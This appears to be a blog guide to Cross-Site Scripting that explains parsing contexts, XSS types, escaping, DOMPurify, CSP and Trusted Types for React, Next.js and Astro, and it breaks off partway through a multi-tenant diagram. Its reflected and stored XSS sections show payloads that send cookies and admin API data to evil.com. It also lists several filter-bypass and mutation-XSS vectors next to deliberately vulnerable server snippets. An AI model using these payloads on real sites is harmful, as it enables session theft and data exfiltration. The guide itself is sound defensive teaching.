Skip to content
AstroPaper
Go back

Cross-Site Scripting (XSS)

Updated:
Edit page

Cross-Site Scripting (XSS) — Ultimate Deep-Dive Guide

A complete engineering guide from beginner concepts to browser-parsing-engine-level mental models and enterprise-scale secure frontend architecture.


Table of Contents

Open Table of Contents

1. Big Picture

What XSS Actually Is

Cross-Site Scripting (XSS) is an injection attack where an attacker causes the victim’s browser to execute malicious JavaScript within the context (origin) of a trusted website. The attacker’s code runs with the same privileges as the legitimate site’s own scripts — full access to cookies, DOM, storage, and authenticated APIs.

The core problem: The browser cannot distinguish between JavaScript that the site intended to run and JavaScript that an attacker injected.

Why XSS Exists

XSS exists because of a fundamental design tension in the web platform:

  1. HTML mixes data and code — content and executable scripts coexist in the same document
  2. Browsers are interpretation engines — they parse HTML/CSS/JS and execute anything that looks like code
  3. User input flows into rendering — applications dynamically construct HTML containing user data
  4. Context determines behavior — the same characters mean different things in different parsing contexts
  5. The Same-Origin Policy grants full trust — once code executes within an origin, it has complete access
┌──────────────────────────────────────────────────────────────┐
│                    XSS Mental Model                            │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│   Application takes user input                                │
│        │                                                       │
│        ▼                                                       │
│   Input is inserted into HTML without proper encoding         │
│        │                                                       │
│        ▼                                                       │
│   Browser parses HTML → encounters injected content           │
│        │                                                       │
│        ▼                                                       │
│   Parser interprets injection as executable code              │
│        │                                                       │
│        ▼                                                       │
│   JavaScript executes within the trusted origin               │
│        │                                                       │
│        ▼                                                       │
│   Attacker has full access: cookies, DOM, APIs, sessions      │
│                                                                │
│   ⚠️  Browser sees no difference from legitimate scripts       │
└──────────────────────────────────────────────────────────────┘
AttackWhat it exploitsMechanismImpact scope
XSSTrust site has in its own scriptsInject code into trusted originFull origin access
CSRFTrust server has in browser cookiesForge requests from another siteSingle action per request
HTML InjectionRendering of user HTML without script execInsert markup (no JS)Visual defacement, phishing
DOM ClobberingNamed DOM element access patternsOverride JS variables via HTMLLogic manipulation
Template InjectionServer-side template enginesInject template syntaxServer-side code execution
Injection (SQL, etc.)Data/code boundary confusionInject into interpreter syntaxBackend data/systems

Key distinctions:

Browser Trust Model & XSS

┌──────────────────────────────────────────────────────────────┐
│              Browser Origin Trust Model                        │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│  Origin: https://app.example.com                              │
│                                                                │
│  All scripts running in this origin can:                      │
│    ✓ Read/write all cookies (non-httpOnly)                   │
│    ✓ Access localStorage/sessionStorage                      │
│    ✓ Read/modify the entire DOM                              │
│    ✓ Make authenticated fetch/XHR requests                   │
│    ✓ Access browser APIs (camera, location, etc.)            │
│    ✓ Redirect the user                                       │
│    ✓ Intercept form submissions                              │
│    ✓ Modify page content (phishing)                          │
│    ✓ Install service workers                                 │
│                                                                │
│  If attacker achieves XSS → they get ALL of the above        │
│                                                                │
└──────────────────────────────────────────────────────────────┘

XSS Attack Lifecycle

1. UNTRUSTED INPUT ENTERS APPLICATION
   User comment, URL parameter, header, database field, API response

2. APPLICATION PROCESSES INPUT
   May store it, reflect it, or use it in client-side logic

3. INPUT IS PLACED INTO HTML/DOM
   Server renders into template OR client inserts into DOM

4. BROWSER PARSES THE DOCUMENT
   HTML parser encounters the injected content

5. PARSER INTERPRETS AS CODE
   Injection crosses context boundary → becomes executable

6. SCRIPT EXECUTES IN TRUSTED ORIGIN
   Attacker's code runs with full privileges of the site

7. EXPLOITATION
   Cookie theft, session hijacking, keylogging, data exfiltration,
   account takeover, cryptomining, worm propagation

XSS Types Comparison

TypeInput sourceStorageExecution triggerDetection difficulty
ReflectedURL/requestNone (immediate)Victim clicks malicious linkEasy (server-side scan)
StoredDatabase/persistentServer stores payloadAny user views the contentMedium (output scan)
DOM-basedURL/client dataNoneClient-side JS processes inputHard (no server involvement)
MutationHTML that mutates during parsingVariesBrowser parser transformationVery hard (parser-dependent)
BlindInput stored elsewhereServer storesAdmin/different user viewsHard (no immediate feedback)

When XSS Becomes Critical

Real-World Impact


2. Browser Security & Parsing Deep Dive

HTML Parsing Contexts

The browser’s HTML parser operates in multiple contexts. The same characters have completely different meanings depending on which context they appear in:

┌─────────────────────────────────────────────────────────────┐
│              HTML Parsing Contexts                            │
├─────────────────────────────────────────────────────────────┤
│                                                               │
│  1. HTML ELEMENT CONTENT                                     │
│     <div>USER INPUT HERE</div>                               │
│     Dangerous: < > (start new tags)                         │
│     Escape: &lt; &gt; &amp;                                 │
│                                                               │
│  2. HTML ATTRIBUTE VALUE                                     │
│     <div class="USER INPUT HERE">                            │
│     Dangerous: " ' (break out of attribute)                 │
│     Escape: &quot; &#x27;                                   │
│                                                               │
│  3. JAVASCRIPT CONTEXT                                       │
│     <script>var x = "USER INPUT HERE";</script>              │
│     Dangerous: " \ / </script> (break string or tag)        │
│     Escape: \x22 \x27 \x5c + close-tag awareness           │
│                                                               │
│  4. URL CONTEXT                                              │
│     <a href="USER INPUT HERE">                               │
│     Dangerous: javascript: data: vbscript:                  │
│     Defense: URL validation + encoding                      │
│                                                               │
│  5. CSS CONTEXT                                              │
│     <div style="USER INPUT HERE">                            │
│     Dangerous: expression() url() behavior:                 │
│     Defense: CSS value validation                           │
│                                                               │
│  6. HTML COMMENT                                             │
│     <!-- USER INPUT HERE -->                                 │
│     Dangerous: --> (close comment, start HTML)              │
│                                                               │
└─────────────────────────────────────────────────────────────┘

Why Context Matters

<!-- Input: "><img src=x onerror=alert(1)> -->

<!-- Context 1: HTML element content → SAFE (displayed as text with encoding) -->
<div>&quot;&gt;&lt;img src=x onerror=alert(1)&gt;</div>

<!-- Context 2: Unquoted attribute → VULNERABLE -->
<div title="><img src=x onerror=alert(1)>></div>

<!-- Context 3: Inside script → Different escaping needed -->
<script>var x = "\"><img src=x onerror=alert(1)>";</script>

<!-- Context 4: href attribute → javascript: scheme possible -->
<a href="javascript:alert(1)">Click</a>

Dangerous DOM APIs (Sinks)

// ❌ DANGEROUS — Directly execute/render user input
element.innerHTML = userInput;           // HTML parsing
element.outerHTML = userInput;           // HTML parsing
document.write(userInput);               // HTML parsing
document.writeln(userInput);             // HTML parsing
element.insertAdjacentHTML(pos, input);  // HTML parsing

// ❌ DANGEROUS — URL-based execution
location.href = userInput;               // javascript: URLs
location.assign(userInput);              // javascript: URLs
window.open(userInput);                  // javascript: URLs
element.src = userInput;                 // script/iframe src
element.href = userInput;                // anchor javascript:

// ❌ DANGEROUS — Code execution
eval(userInput);                         // Direct execution
setTimeout(userInput, 0);               // String-form execution
setInterval(userInput, 0);              // String-form execution
new Function(userInput);                 // Dynamic function
element.setAttribute("onclick", input); // Event handler

// ✅ SAFE — Text-only APIs
element.textContent = userInput;         // No parsing
element.innerText = userInput;           // No parsing (legacy)
document.createTextNode(userInput);      // Text node only
element.setAttribute("title", input);   // Non-event attributes (with encoding)

How Browsers Decide to Execute

Browser receives HTML content:

1. TOKENIZER breaks input into tokens:
   - Start tags, end tags, attributes, text, comments
   
2. TREE CONSTRUCTOR builds DOM tree:
   - Creates elements, assigns attributes
   - Detects <script> → pauses parsing → executes
   
3. EXECUTION TRIGGERS:
   - <script>...</script>           → immediate execution
   - <script src="...">            → fetch + execute
   - <img onerror="...">           → execute on error event
   - <body onload="...">           → execute on load
   - <a href="javascript:...">     → execute on click
   - element.innerHTML = "..."     → parse + potentially execute
   - eval(), setTimeout(string)    → execute string as code
   
4. KEY INSIGHT:
   The parser does NOT know if content is "user input" or "developer code"
   It only sees characters and applies parsing rules

Parser Differentials (Mutation XSS)

Different parsing paths can transform “safe” HTML into dangerous HTML:

<!-- Input appears safe -->
<div><style><img src=x onerror=alert(1)></style></div>

<!-- But in innerHTML context, <style> content is treated as raw text -->
<!-- Browser might not parse <img> inside <style> the same way -->

<!-- Mutation XSS example: -->
<!-- Input: -->
<noscript><img src=x onerror=alert(1)></noscript>
<!-- In innerHTML (scripting enabled), <noscript> content parsed as raw text -->
<!-- But after DOM serialization + re-parse, it might execute -->

Why this matters: Sanitizers parse HTML one way, but the browser may parse the sanitized output differently. This gap creates mutation XSS.

Browser Engine Differences

BehaviorChromium (Blink)Firefox (Gecko)Safari (WebKit)
innerHTML parsingDOMParser modeDOMParser modeDOMParser mode
SVG foreignObjectAllows HTML context switchAllows HTML context switchAllows HTML context switch
Custom elements in SVGMay differMay differMay differ
MathML parsingLimitedFullLimited
Mutation on pasteSanitizes differentlySanitizes differentlySanitizes differently

3. Types of XSS Deep Dive

3.1 Reflected XSS

Payload is in the request, immediately reflected in the response.

Attack flow:
1. Attacker crafts URL: https://target.com/search?q=<script>alert(1)</script>
2. Victim clicks link (via phishing, forum post, etc.)
3. Server includes query param in response HTML without encoding
4. Browser executes the script in target.com's origin
// Vulnerable server code (Express)
app.get("/search", (req, res) => {
  const query = req.query.q;
  // ❌ Directly embedding user input in HTML
  res.send(`<h1>Results for: ${query}</h1>`);
});

// Attack: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Mitigation:

3.2 Stored XSS

Payload is persisted (database, file, etc.) and rendered to other users.

Attack flow:
1. Attacker submits malicious content (comment, profile, message)
2. Server stores the payload in database
3. Other users view the page containing stored content
4. Browser executes stored payload in each victim's session
// Vulnerable: Rendering stored user content
app.get("/comments/:id", async (req, res) => {
  const comment = await db.getComment(req.params.id);
  // ❌ Stored content rendered without encoding
  res.send(`<div class="comment">${comment.body}</div>`);
});

// Attacker stored: <img src=x onerror="fetch('/api/admin/users').then(r=>r.json()).then(d=>fetch('https://evil.com/exfil',{method:'POST',body:JSON.stringify(d)}))">

Why stored XSS is more dangerous:

3.3 DOM-Based XSS

Entirely client-side — the server never sees or reflects the payload.

// Vulnerable client-side code
const hash = location.hash.substring(1);
document.getElementById("output").innerHTML = decodeURIComponent(hash);

// Attack: https://target.com/page#<img src=x onerror=alert(document.cookie)>
// Common DOM XSS patterns:

// Source: where attacker-controlled data enters
const sources = [
  location.hash,
  location.search,
  location.href,
  document.referrer,
  document.cookie,
  window.name,
  postMessage data,
  localStorage/sessionStorage,
  IndexedDB,
  WebSocket messages,
];

// Sink: where data causes execution
const sinks = [
  "innerHTML",
  "outerHTML",
  "document.write",
  "eval",
  "setTimeout(string)",
  "setInterval(string)",
  "new Function(string)",
  "element.src",
  "element.href (javascript:)",
  "jQuery.html()",
  "$.append()",
  "v-html (Vue)",
  "dangerouslySetInnerHTML (React)",
];

Why DOM XSS is hard to detect:

3.4 Mutation XSS (mXSS)

Exploits differences between how sanitizers parse HTML and how browsers render it.

<!-- DOMPurify (or similar) sees this as safe: -->
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>

<!-- But after browser processes it: -->
<!-- The parser moves elements due to foster parenting / tree construction rules -->
<!-- Result: <img> ends up outside <style>, executing the onerror handler -->

Why mXSS is dangerous:

Defense: Use battle-tested sanitizers (DOMPurify) that track mXSS vectors, keep them updated, and combine with CSP.

3.5 SVG-Based XSS

SVG is a rich attack surface because it supports both XML and embedded HTML:

<!-- SVG with embedded script -->
<svg onload="alert(1)">
<svg><script>alert(1)</script></svg>

<!-- SVG foreignObject allows HTML context -->
<svg><foreignObject><body onload="alert(1)"></body></foreignObject></svg>

<!-- SVG in image context (usually safe — no script execution) -->
<img src="evil.svg"> <!-- Scripts DON'T execute -->

<!-- SVG inline or via <object>/<embed> — scripts DO execute -->
<object data="evil.svg"></object> <!-- Scripts execute -->

3.6 Markdown Rendering XSS

<!-- Dangerous if renderer allows raw HTML -->
<img src=x onerror=alert(1)>

<!-- Link-based XSS -->
[Click me](javascript:alert(1))

<!-- Image with event handler (if renderer doesn't sanitize) -->
![alt](x" onerror="alert(1))

Defense: Use Markdown renderers with HTML disabled or sanitized output (remark + rehype-sanitize, markdown-it with html: false).

3.7 Blind XSS

Payload executes in a different context than where it was submitted:

Attack flow:
1. Attacker submits XSS payload in support ticket, contact form, log entry
2. Payload stored but never rendered to attacker
3. Admin/support agent views the content in internal dashboard
4. Payload executes in admin's higher-privilege session

Detection: Use blind XSS platforms (XSS Hunter, custom callbacks) that notify when payloads execute.


4. Context-Aware Escaping & Sanitization

The Golden Rule

You must encode output based on the context where it will be rendered, not based on where the input came from.

Context-Specific Encoding

// context-encoding.ts

// 1. HTML Element Content
function encodeForHTML(input: string): string {
  return input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

// 2. HTML Attribute Value (always quote attributes!)
function encodeForAttribute(input: string): string {
  // Same as HTML encoding when attributes are quoted
  return encodeForHTML(input);
}

// 3. JavaScript String Context
function encodeForJS(input: string): string {
  return input.replace(/[\\'"\/\n\r\u2028\u2029<>]/g, (char) => {
    return "\\x" + char.charCodeAt(0).toString(16).padStart(2, "0");
  });
}

// 4. URL Parameter
function encodeForURL(input: string): string {
  return encodeURIComponent(input);
}

// 5. CSS Value
function encodeForCSS(input: string): string {
  return input.replace(/[^a-zA-Z0-9]/g, (char) => {
    return "\\" + char.charCodeAt(0).toString(16) + " ";
  });
}

URL Validation (Preventing javascript: URLs)

function isSafeURL(url: string): boolean {
  try {
    const parsed = new URL(url, window.location.origin);
    // Only allow http(s) protocols
    return ["http:", "https:", "mailto:"].includes(parsed.protocol);
  } catch {
    return false; // Invalid URL
  }
}

// Usage in React
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
  if (!isSafeURL(href)) {
    return <span>{children}</span>; // Render as plain text
  }
  return <a href={href}>{children}</a>;
}

Why Regex Sanitization Fails

// ❌ BROKEN: Regex-based HTML stripping
function stripTags(input) {
  return input.replace(/<[^>]*>/g, "");
}

// Bypasses:
stripTags("<img src=x onerror=alert(1)//>");  // Might partially work
stripTags("<img src=x onerror=alert(1) ");    // No closing > → regex fails
stripTags("<<script>alert(1)</script>");       // Double bracket bypass
stripTags("<scr<script>ipt>alert(1)</scr</script>ipt>"); // Nested
// ❌ BROKEN: Blacklist approach
function sanitize(input) {
  return input
    .replace(/script/gi, "")
    .replace(/onerror/gi, "")
    .replace(/onclick/gi, "");
}

// Bypasses:
sanitize("<scrscriptipt>alert(1)</scrscriptipt>"); // → <script>alert(1)</script>
sanitize("<img src=x oOnErrornerror=alert(1)>");   // Case tricks
sanitize("<svg/onload=alert(1)>");                  // Different event
sanitize("<img src=x onerr\u006Fr=alert(1)>");    // Unicode escape

DOMPurify — The Standard

import DOMPurify from "dompurify";

// Basic usage
const clean = DOMPurify.sanitize(dirty);

// Strict configuration
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br", "ul", "ol", "li"],
  ALLOWED_ATTR: ["href", "target", "rel"],
  ALLOW_DATA_ATTR: false,
  ADD_ATTR: ["target"], // Force target="_blank" on links
  FORBID_TAGS: ["style", "script", "iframe", "object", "embed", "form"],
  FORBID_ATTR: ["style", "onerror", "onload", "onclick"],
});

// Hook to force rel="noopener" on links
DOMPurify.addHook("afterSanitizeAttributes", (node) => {
  if (node.tagName === "A") {
    node.setAttribute("target", "_blank");
    node.setAttribute("rel", "noopener noreferrer");
  }
});

// For React
function SafeHTML({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, { RETURN_DOM_FRAGMENT: false });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Escaping vs Sanitization

ApproachWhen to useWhat it doesRisk
EscapingPlain text displayEncodes special chars as entitiesLow (preserves all content as text)
SanitizationRich HTML allowedRemoves dangerous elements/attributesMedium (parser differentials)
ValidationStructured input (email, URL)Rejects invalid input entirelyLow (but may be too strict)
StrippingRemove all HTMLRemove tags entirelyMedium (regex failures)

Rule of thumb:


5. CSP & Trusted Types Deep Dive

Content Security Policy (CSP)

CSP is a browser-enforced security layer that restricts what resources can be loaded and what code can be executed.

┌──────────────────────────────────────────────────────────────┐
│                CSP Defense Model                               │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│  WITHOUT CSP:                                                 │
│    XSS payload injects <script>evil()</script>               │
│    Browser: "It's a script in this origin — execute it"      │
│    Result: ❌ Attack succeeds                                 │
│                                                                │
│  WITH STRICT CSP:                                            │
│    XSS payload injects <script>evil()</script>               │
│    Browser: "This script has no valid nonce — block it"      │
│    Result: ✅ Attack BLOCKED (script doesn't execute)         │
│                                                                │
│  CSP doesn't prevent injection — it prevents EXECUTION       │
│                                                                │
└──────────────────────────────────────────────────────────────┘
# Nonce-based strict CSP (best for SSR apps)
Content-Security-Policy: 
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  style-src 'nonce-{RANDOM}';
  img-src 'self' https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self';
  upgrade-insecure-requests;

# Hash-based (for static pages)
Content-Security-Policy:
  script-src 'sha256-{HASH_OF_SCRIPT}' 'strict-dynamic';

CSP Directives Reference

DirectiveControlsXSS relevance
script-srcJavaScript executionPrimary XSS defense
style-srcCSS loading/inlineCSS injection prevention
default-srcFallback for allBaseline restriction
img-srcImage loadingData exfiltration via img
connect-srcfetch/XHR/WebSocketData exfiltration
frame-srciframe sourcesClickjacking + embedding
frame-ancestorsWho can frame this pageClickjacking defense
base-uri<base> tagRelative URL hijacking
form-actionForm submission targetsCredential phishing
object-srcFlash/Java pluginsLegacy plugin execution
require-trusted-types-forDOM sink protectionDOM XSS defense

Why CSP Is Hard

ChallengeWhyMitigation
Inline scripts everywhereLegacy code, analytics, A/B testingNonces, refactor to external scripts
Third-party scriptsMarketing, analytics, chat widgetsstrict-dynamic, script integrity
eval() usageLibraries, template enginesRefactor, ‘unsafe-eval’ (weakens CSP)
Inline stylesCSS-in-JS, component librariesNonces for styles, or style-src ‘unsafe-inline’ (acceptable trade-off)
Dynamic script creationModule loaders, lazy loadingstrict-dynamic propagates trust
Report noiseBrowser extensions trigger violationsFilter reports, analyze patterns

Trusted Types

Trusted Types is a browser API that prevents DOM XSS by requiring typed objects for dangerous DOM sinks:

// Without Trusted Types:
element.innerHTML = userInput; // Accepts any string → XSS possible

// With Trusted Types enforced:
element.innerHTML = userInput; // TypeError! String not allowed.
element.innerHTML = trustedHTML; // Only TrustedHTML objects accepted.
// Creating a Trusted Types policy
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy("default", {
    createHTML: (input: string) => {
      return DOMPurify.sanitize(input); // Sanitize before allowing
    },
    createScriptURL: (input: string) => {
      if (ALLOWED_SCRIPT_URLS.some(url => input.startsWith(url))) {
        return input;
      }
      throw new Error(`Blocked script URL: ${input}`);
    },
    createScript: (input: string) => {
      throw new Error("Script creation blocked by Trusted Types");
    },
  });
}

// Usage — this now goes through the policy's sanitization
element.innerHTML = policy.createHTML(userContent);
# Enable Trusted Types enforcement
Content-Security-Policy: require-trusted-types-for 'script';
# Or report-only first:
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri /csp-report;

React CSP Strategy

// next.config.js — Next.js CSP with nonces
const { headers } = require("next/headers");

// middleware.ts — Generate nonce per request
import { NextResponse } from "next/server";
import crypto from "crypto";

export function middleware(request) {
  const nonce = crypto.randomBytes(16).toString("base64");
  
  const csp = [
    `default-src 'none'`,
    `script-src 'nonce-${nonce}' 'strict-dynamic'`,
    `style-src 'nonce-${nonce}' 'unsafe-inline'`, // CSS-in-JS needs this
    `img-src 'self' https: data:`,
    `font-src 'self'`,
    `connect-src 'self' ${process.env.API_URL}`,
    `frame-ancestors 'none'`,
    `base-uri 'none'`,
    `form-action 'self'`,
  ].join("; ");
  
  const response = NextResponse.next();
  response.headers.set("Content-Security-Policy", csp);
  response.headers.set("X-Nonce", nonce); // Pass to rendering
  return response;
}

Astro CSP Strategy

// astro.config.mjs — Security headers
export default defineConfig({
  integrations: [],
  vite: {
    plugins: [
      {
        name: "security-headers",
        configureServer(server) {
          server.middlewares.use((req, res, next) => {
            const nonce = crypto.randomBytes(16).toString("base64");
            res.setHeader("Content-Security-Policy",
              `script-src 'nonce-${nonce}' 'strict-dynamic'; ` +
              `style-src 'self' 'unsafe-inline'; ` +
              `default-src 'none'; ` +
              `img-src 'self' https:; ` +
              `connect-src 'self';`
            );
            next();
          });
        },
      },
    ],
  },
});

6. React / Next.js / Astro XSS Deep Dive

Why React Is Safer by Default

React automatically escapes values interpolated in JSX:

// ✅ SAFE — React escapes this automatically
const userInput = '<script>alert("xss")</script>';
return <div>{userInput}</div>;
// Renders: <div>&lt;script&gt;alert("xss")&lt;/script&gt;</div>

// React's JSX compiles to React.createElement which uses textContent internally
// No HTML parsing occurs — it's always treated as text

When React IS Vulnerable

// ❌ VULNERABLE: dangerouslySetInnerHTML
function Comment({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// If `html` comes from user input without sanitization → XSS

// ❌ VULNERABLE: href with javascript: scheme
function Link({ url }: { url: string }) {
  return <a href={url}>Click</a>;
}
// <Link url="javascript:alert(1)" /> → XSS on click

// ❌ VULNERABLE: Rendering into DOM ref
function Widget({ content }: { content: string }) {
  const ref = useRef<HTMLDivElement>(null);
  useEffect(() => {
    ref.current!.innerHTML = content; // Bypasses React's escaping
  }, [content]);
  return <div ref={ref} />;
}

// ❌ VULNERABLE: Dynamic component creation from user input
function DynamicComponent({ tag }: { tag: string }) {
  const Tag = tag as keyof JSX.IntrinsicElements; // If tag = "script" → danger
  return <Tag>content</Tag>;
}

// ❌ VULNERABLE: Server-side rendering injection
// In SSR, if user input is embedded in the initial HTML string
// before React hydration, it can execute during parsing

Safe React Patterns

// ✅ Safe rich text with DOMPurify
import DOMPurify from "isomorphic-dompurify";

function SafeRichText({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br", "ul", "ol", "li", "h1", "h2", "h3"],
    ALLOWED_ATTR: ["href", "target", "rel"],
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Safe URL handling
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
  const isSafe = useMemo(() => {
    try {
      const url = new URL(href, window.location.origin);
      return ["http:", "https:", "mailto:"].includes(url.protocol);
    } catch {
      return false;
    }
  }, [href]);

  if (!isSafe) return <span>{children}</span>;
  return <a href={href} rel="noopener noreferrer">{children}</a>;
}

// ✅ Safe Markdown rendering
import ReactMarkdown from "react-markdown";
import rehypeSanitize from "rehype-sanitize";

function SafeMarkdown({ content }: { content: string }) {
  return (
    <ReactMarkdown rehypePlugins={[rehypeSanitize]}>
      {content}
    </ReactMarkdown>
  );
}

Next.js XSS Considerations

// SSR Injection Risk: Server Components render HTML on server
// If user data flows into HTML without encoding → XSS

// ✅ SAFE: Next.js Server Component with React escaping
async function UserProfile({ userId }: { userId: string }) {
  const user = await getUser(userId);
  return <h1>{user.name}</h1>; // React auto-escapes
}

// ❌ DANGEROUS: Dynamic metadata from user input
export async function generateMetadata({ params }) {
  const post = await getPost(params.id);
  return {
    title: post.title, // What if title contains HTML entities?
    // Next.js handles this safely, but custom meta tags may not
  };
}

// ❌ DANGEROUS: Streaming HTML with user data
// If using experimental streaming and injecting user data into
// the HTML stream directly, bypass React's escaping

// Security headers in Next.js
// next.config.js
module.exports = {
  async headers() {
    return [{
      source: "/(.*)",
      headers: [
        { key: "X-Content-Type-Options", value: "nosniff" },
        { key: "X-Frame-Options", value: "DENY" },
        { key: "X-XSS-Protection", value: "0" }, // Disable legacy XSS filter
        { key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
      ],
    }];
  },
};

Astro XSS Considerations

---
// src/pages/post/[id].astro
const { id } = Astro.params;
const post = await getPost(id);
---

<!-- ✅ SAFE: Astro auto-escapes expressions -->
<h1>{post.title}</h1>
<p>{post.content}</p>

<!-- ❌ DANGEROUS: set:html directive with user content -->
<div set:html={post.htmlContent}></div>
<!-- Must sanitize first! -->

<!-- ✅ SAFE: Sanitize before set:html -->
---
import DOMPurify from "isomorphic-dompurify";
const cleanHTML = DOMPurify.sanitize(post.htmlContent);
---
<div set:html={cleanHTML}></div>

Hydration-Based XSS

┌──────────────────────────────────────────────────────────────┐
│              Hydration XSS Risk                               │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│  Server renders: <div id="root">Safe Content</div>           │
│                                                                │
│  If attacker can modify the HTML before hydration             │
│  (cache poisoning, CDN injection, proxy manipulation):       │
│                                                                │
│  Modified: <div id="root"><img src=x onerror=alert(1)></div> │
│                                                                │
│  React hydration may:                                         │
│  1. Accept the mismatched DOM (development: warning)         │
│  2. Or in some cases, keep existing DOM nodes                │
│                                                                │
│  Risk: If React keeps attacker-injected nodes → XSS          │
│                                                                │
│  Mitigation:                                                  │
│  - Integrity checks on SSR output                            │
│  - CSP prevents inline script execution                      │
│  - SRI on external scripts                                   │
│  - Subresource integrity                                     │
│                                                                │
└──────────────────────────────────────────────────────────────┘

7. Advanced Browser Security Concepts

DOM Clobbering

DOM clobbering exploits named element access in JavaScript:

<!-- Attacker injects (e.g., via HTML injection without script execution): -->
<form id="document"><input name="cookie" value="clobbered"></form>
<!-- or -->
<a id="config" href="https://evil.com/config.json"></a>

<!-- Vulnerable code: -->
<script>
  // Developer expected window.config to be undefined
  // But DOM clobbering made it point to the <a> element
  fetch(window.config?.href || "/api/config") // Fetches evil.com!
    .then(r => r.json())
    .then(eval); // If config is executable → XSS via clobber
</script>

Defense: Use const declarations, strict object access patterns, avoid global name lookups.

Prototype Pollution → XSS

// Prototype pollution (from query params, JSON merge, etc.)
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// If any library later does:
element[key] = value; // where key comes from polluted prototype
// Or if a template engine reads from prototype chain

// Defense: Object.create(null), Object.freeze(Object.prototype) in dev

Service Worker Implications

// If attacker achieves XSS once, they can install a persistent service worker:
navigator.serviceWorker.register("/evil-sw.js");

// evil-sw.js can:
// - Intercept ALL requests (steal credentials, modify responses)
// - Persist even after XSS is patched (SW stays installed)
// - Serve cached malicious content indefinitely
// - Exfiltrate data from every subsequent page load

// This is why CSP + XSS prevention is critical:
// One XSS → persistent compromise via service worker

XSS Escalation Chain

Initial XSS (stored comment)

    ├── Steal session cookie → Account takeover

    ├── Read CSRF tokens → Perform any action as user

    ├── Install service worker → Persistent access

    ├── Modify DOM → Phishing (fake login form)

    ├── Keylog → Capture credentials for other sites

    ├── Access APIs → Exfiltrate sensitive data

    ├── Target admin → Privilege escalation

    └── Self-propagate → XSS worm (exponential spread)

8. Secure Architecture & Defense Strategy

Defense-in-Depth Layers

┌──────────────────────────────────────────────────────────────┐
│              XSS Defense Layers                                │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│  Layer 1: Input Validation                                   │
│    - Reject unexpected input shapes                          │
│    - Validate types, lengths, formats                        │
│    - NOT a security boundary (defense-in-depth only)        │
│                                                                │
│  Layer 2: Context-Aware Output Encoding                      │
│    - HTML encode for HTML context                            │
│    - JS encode for JavaScript context                        │
│    - URL encode for URL context                              │
│    - Framework auto-escaping (React, Astro)                 │
│                                                                │
│  Layer 3: Sanitization (when HTML needed)                    │
│    - DOMPurify for rich text                                 │
│    - Allowlist approach                                      │
│    - Server-side + client-side                               │
│                                                                │
│  Layer 4: Content Security Policy                            │
│    - Strict nonce-based CSP                                  │
│    - Blocks inline scripts even if injected                  │
│    - Prevents eval, inline handlers                          │
│                                                                │
│  Layer 5: Trusted Types                                      │
│    - Prevents DOM XSS at the API level                      │
│    - Enforces sanitization at every sink                    │
│    - Runtime enforcement in browser                          │
│                                                                │
│  Layer 6: HTTPOnly Cookies + Secure Headers                  │
│    - Limits XSS impact (can't steal httpOnly cookies)       │
│    - X-Content-Type-Options: nosniff                        │
│    - X-Frame-Options: DENY                                  │
│                                                                │
│  Layer 7: Monitoring & Response                              │
│    - CSP reporting                                           │
│    - Anomaly detection                                       │
│    - Incident response playbook                              │
│                                                                │
└──────────────────────────────────────────────────────────────┘

Secure Frontend Architecture for CMS-Driven Apps

// Architecture: CMS → API → Frontend (with sanitization layer)

// Sanitization service (shared across frontend)
// lib/sanitize.ts
import DOMPurify from "isomorphic-dompurify";

const SAFE_CONFIG = {
  ALLOWED_TAGS: [
    "h1", "h2", "h3", "h4", "h5", "h6",
    "p", "br", "hr",
    "ul", "ol", "li",
    "a", "strong", "em", "b", "i", "u",
    "blockquote", "pre", "code",
    "table", "thead", "tbody", "tr", "th", "td",
    "img", "figure", "figcaption",
  ],
  ALLOWED_ATTR: ["href", "src", "alt", "title", "class", "target", "rel"],
  ALLOW_DATA_ATTR: false,
  ADD_ATTR: ["target"],
  FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "form", "input"],
  FORBID_ATTR: ["style", "onerror", "onload", "onclick", "onmouseover"],
};

export function sanitizeCMSContent(html: string): string {
  return DOMPurify.sanitize(html, SAFE_CONFIG);
}

export function sanitizeURL(url: string): string | null {
  try {
    const parsed = new URL(url);
    if (["http:", "https:"].includes(parsed.protocol)) {
      return parsed.toString();
    }
    return null;
  } catch {
    return null;
  }
}

Multi-Tenant XSS Isolation

┌──────────────────────────────────────────────────────────────┐
│           Multi-Tenant Security Architecture                  │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│  Option 1: Subdomain isolation                               │
│    tenant-a.app.com / tenant-b.app.com                       │
│    + Different origins → XSS in A can't access B           │
│    - More infra complexity                                   │
│                                                                │
│  Option 2: Path-based (shared origin) ⚠️                    │
│    app.com/tenant-a / app.com/tenant-b                       │
│    - Same origin → XSS in A CAN access B's data            │
│    - MUST use iframe isolation or strict CSP                 │
│                                                                │
│  Option 3: Sandboxed iframes                                 │
│    Tenant content rendered in sandboxed iframe               │
│    <iframe sandbox="allow-scripts" src="/render/tenant-a">   │
│    + Script execution isolated from parent                   │
│    + No access to parent cookies/DOM                         │
│                                                                │
│  Recommendation: Subdomain isolation for true multi-tenant   │
│                                                                │
